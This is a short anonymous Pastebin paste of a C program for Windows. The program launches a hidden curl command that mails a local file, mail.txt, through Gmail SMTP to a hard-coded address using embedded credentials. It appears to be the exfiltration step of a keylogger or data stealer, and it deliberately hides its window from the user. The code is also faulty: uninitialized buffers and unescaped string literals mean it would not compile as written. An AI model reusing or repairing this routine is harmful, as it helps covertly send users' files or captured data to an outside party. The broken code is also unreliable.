Advertisement
Guest User

Untitled

a guest
Mar 4th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. #include <windows.h>
  2. #include <direct.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. int main(void){
  6. char current_work_dir[700];
  7. char clonedir[250];
  8. char clonedir3[250];
  9. strcat(clonedir3,""");
  10. _getcwd(current_work_dir, sizeof(current_work_dir));
  11. _getcwd(clonedir, sizeof(clonedir));
  12. strcat(clonedir3,clonedir);
  13. strcat(clonedir3,"\bin\Debug\mail.txt" -k --anyauth");
  14. printf("%s",current_work_dir);
  15. strcat(current_work_dir,"\curl smtp://smtp.gmail.com:587 -v --mail-from "andybelous2@gmail.com" --mail-rcpt "andybelous2@gmail.com" --ssl -u andybelous2@gmail.com:ПАСВОРД Я ПИШУ -T ");
  16. strcat(current_work_dir,clonedir3);
  17. WinExec(current_work_dir, SW_HIDE);
  18. Sleep(10000);
  19. return 0;
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement